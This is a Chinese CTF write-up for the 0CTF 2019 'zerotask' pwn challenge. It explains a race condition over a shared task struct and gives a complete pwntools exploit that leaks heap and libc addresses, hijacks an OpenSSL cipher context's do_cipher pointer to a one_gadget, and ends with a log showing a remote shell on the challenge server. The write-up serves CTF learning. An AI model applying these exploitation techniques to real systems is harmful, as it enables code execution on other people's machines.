0ctf2019 pwn zerotask writeup

一道条件竞争的题目。

源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/zerotask

安全防护

ex@Ex:~/test$ checksec task
[*] '/home/ex/test/task'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

漏洞分析

start_routine

void __fastcall __noreturn start_routine(struc_1 *arg)
{
  int v1; // [rsp+14h] [rbp-2Ch]
  struc_1 *v2; // [rsp+18h] [rbp-28h]
  unsigned __int64 a3; // [rsp+20h] [rbp-20h]
  __int64 v4; // [rsp+28h] [rbp-18h]
  __int64 v5; // [rsp+30h] [rbp-10h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v2 = arg;
  v1 = 0;
  v4 = 0LL;
  v5 = 0LL;
  a3 = 0LL;
  puts("Prepare...");
  sleep(2u);
  memset(global_buf, 0, 0x1010uLL);
  if ( !(unsigned int)EVP_CipherUpdate(v2->crypto, global_buf, &v1, v2->data_ptr, (unsigned int)v2->size) )
    pthread_exit(0LL);
  a3 += v1;
  if ( !(unsigned int)EVP_CipherFinal_ex(v2->crypto, (char *)global_buf + a3, &v1) )
    pthread_exit(0LL);
  a3 += v1;
  puts("Ciphertext: ");
  pirnt_data(stdout, (char *)global_buf, a3, 0x10uLL, 1uLL);
  pthread_exit(0LL);
}

当线程start_routine启动时,由于arg指向的内存主线程也同时可以控制,这里就存在了对arg内存块的条件竞争,而且线程当中有sleep(2u),则能保证竞争的时候总是主线程能竞争到内存块。

思路

  1. 泄露heap地址
  2. 泄露libc基地址
  3. onegadget

泄露heap地址

泄露heap地址时,主要目的是free了id_1后,必须要恢复它的crypto结构。最好的理解方式就是画图。

add(0, 1, key, iv, 0x18, '\0' * 0x18)

add(1, 1, key, iv, 0x78, '\0' * 0x78)
add(2, 1, key, iv, 0x78, '\0' * 0x78)

delete(0)
go(1)
delete(1)
delete(2)
add(3, 1, key, iv, 0x18, '\0' * 0x18)
add(4, 1, key, iv, 0x18, '\0' * 0x18)

sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x187)[:-1]
# print(data)

data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])

origin_data = aes_decrypt(key, iv, raw_data)

heap_addr = u64(origin_data[:8]) - 0x1280
log.success("heap_addr: " + hex(heap_addr))

泄露libc基地址

这次是直接控制了strcu_1结构体,将data_ptr指向了有libc地址信息的chunk。

add(5, 1, key, iv, 0x418, '\0' * 0x418)
go(5)
delete(5)
delete(4)

layout = [
    p64(heap_addr + 0x1ba0), # data_ptr id 8
    p64(0x18), # size
    p32(1), # type
    key,
    iv,
    '\0' * 20,
    p64(heap_addr + 0x1560), # crypto id 6
]

payload = flat(layout).ljust(0x78, '\0')
# set evp_cipher_ctx_st
add(6, 1, key, iv, 0x78, payload)

sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x61)[:-1]
print(data)

data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])

origin_data = aes_decrypt(key, iv, raw_data)

# your should calculate the value by yourself
libc_addr = u64(origin_data[:8]) - 0x3ebca0 # main_arena+96
log.success("libc_addr: " + hex(libc_addr))

onegadget

这里简要说一下libcrypto.so.1.0.0的源码。

源码来自:https://github.com/guanzhi/GmSSL

在下面代码中,我们可以直接控制程序流。

crypto/evp/evp_enc.c

int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl,
                      const unsigned char *in, int inl)
{
    int i, j, bl;

    bl = ctx->cipher->block_size;

    if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
        /* If block size > 1 then the cipher will have to do this check */
        if (bl == 1 && is_partially_overlapping(out, in, inl)) {
            EVPerr(EVP_F_EVP_ENCRYPTUPDATE, EVP_R_PARTIALLY_OVERLAPPING);
            return 0;
        }

        i = ctx->cipher->do_cipher(ctx, out, in, inl);
        if (i < 0)
            return 0;
        else
            *outl = i;
        return 1;
    }

所以对应脚本如下:

'''
ex@Ex:~/test$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

one_gadget_addr = libc_addr + 0x10a38c
log.success("one_gadget_addr: " + hex(one_gadget_addr))

go(6)
delete(6)
delete(3)
# hijack crypto

layout = [
    p64(heap_addr + 0x1560), # crypto->cipher
    '\0' * 10,
    p64(0x10), # cipher->flag
    '\0' * 6,
    p64(one_gadget_addr), # cipher->do_cipher()
]

payload = flat(layout).ljust(0xa8, '\0')
add(7, 1, key, iv, 0xa8, payload)

0x10a38c刚好满足约束条件,所以可以直接拿shell。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time
from Crypto.Cipher import AES

# context.log_level = 'debug'
sh = process("./task")
# sh = remote('eonew.cn', 60107)
elf = ELF("./task")
libc = ELF("./libc-2.27.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Create a temporary file for GDB debugging
try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

key = 'a' * 32
iv = 'b' * 16

def add(id, task_type, key, iv, size, data):
    sh.sendline('1')
    sh.recvuntil('Task id : ')
    sh.sendline(str(id))
    sh.recvuntil('Encrypt(1) / Decrypt(2): ')
    sh.sendline(str(task_type))
    sh.recvuntil('Key : ')
    sh.send(key)
    sh.recvuntil('IV : ')
    sh.send(iv)
    sh.recvuntil('Data Size : ')
    sh.sendline(str(size))
    sh.recvuntil('Data : ')
    sh.send(data)
    sh.recvuntil('Choice: ')

def delete(id):
    sh.sendline('2')
    sh.recvuntil('Task id : ')
    sh.sendline(str(id))
    sh.recvuntil('Choice: ')

def go(id):
    sh.sendline('3')
    sh.recvuntil('Task id : ')
    sh.sendline(str(id))
    sh.recvuntil('Choice: ')

def aes_decrypt(key, iv, data):
    aes_instance = AES.new(key, AES.MODE_CBC, iv)
    plain_text = aes_instance.decrypt(data)

    return plain_text

sh.recvuntil('Choice: ')

add(0, 1, key, iv, 0x18, '\0' * 0x18)

add(1, 1, key, iv, 0x78, '\0' * 0x78)
add(2, 1, key, iv, 0x78, '\0' * 0x78)

delete(0)
go(1)
delete(1)
delete(2)
add(3, 1, key, iv, 0x18, '\0' * 0x18)
add(4, 1, key, iv, 0x18, '\0' * 0x18)

sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x187)[:-1]
# print(data)

data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])

origin_data = aes_decrypt(key, iv, raw_data)

heap_addr = u64(origin_data[:8]) - 0x1280
log.success("heap_addr: " + hex(heap_addr))

# leak libc_base
add(5, 1, key, iv, 0x418, '\0' * 0x418)
go(5)
delete(5)
delete(4)

layout = [
    p64(heap_addr + 0x1ba0), # data_ptr id 8
    p64(0x18), # size
    p32(1), # type
    key,
    iv,
    '\0' * 20,
    p64(heap_addr + 0x1560), # crypto id 6
]

payload = flat(layout).ljust(0x78, '\0')
# set evp_cipher_ctx_st
add(6, 1, key, iv, 0x78, payload)

sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x61)[:-1]
print(data)

data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])

origin_data = aes_decrypt(key, iv, raw_data)

# your should calculate the value by yourself
libc_addr = u64(origin_data[:8]) - 0x3ebca0 # main_arena+96
log.success("libc_addr: " + hex(libc_addr))

'''
ex@Ex:~/test$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

one_gadget_addr = libc_addr + 0x10a38c
log.success("one_gadget_addr: " + hex(one_gadget_addr))

go(6)
delete(6)
delete(3)
# hijack crypto

layout = [
    p64(heap_addr + 0x1560), # crypto->cipher
    '\0' * 10,
    p64(0x10), # cipher->flag
    '\0' * 6,
    p64(one_gadget_addr), # cipher->do_cipher()
]

payload = flat(layout).ljust(0xa8, '\0')
add(7, 1, key, iv, 0xa8, payload)

time.sleep(2)

sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Opening connection to eonew.cn on port 60107: Done
[*] '/home/ex/test/task'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] heap_addr: 0x55b2be0ae000
de 91 c5 32 98 b0 90 7c 33 cf 3f 6c 71 34 f3 f6 
3e ef 6b 4f a7 f9 ab 66 02 a1 7e b3 57 3a 37 02
[+] libc_addr: 0x7ffb6bf41000
[+] one_gadget_addr: 0x7ffb6c04b38c
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$  

总结

条件竞争的标志性表现应该就是sleep函数了。

思路借鉴自:https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#zerotask

还有一种思路是溢出size为0x1010的global_buf,然后用tcache来攻击。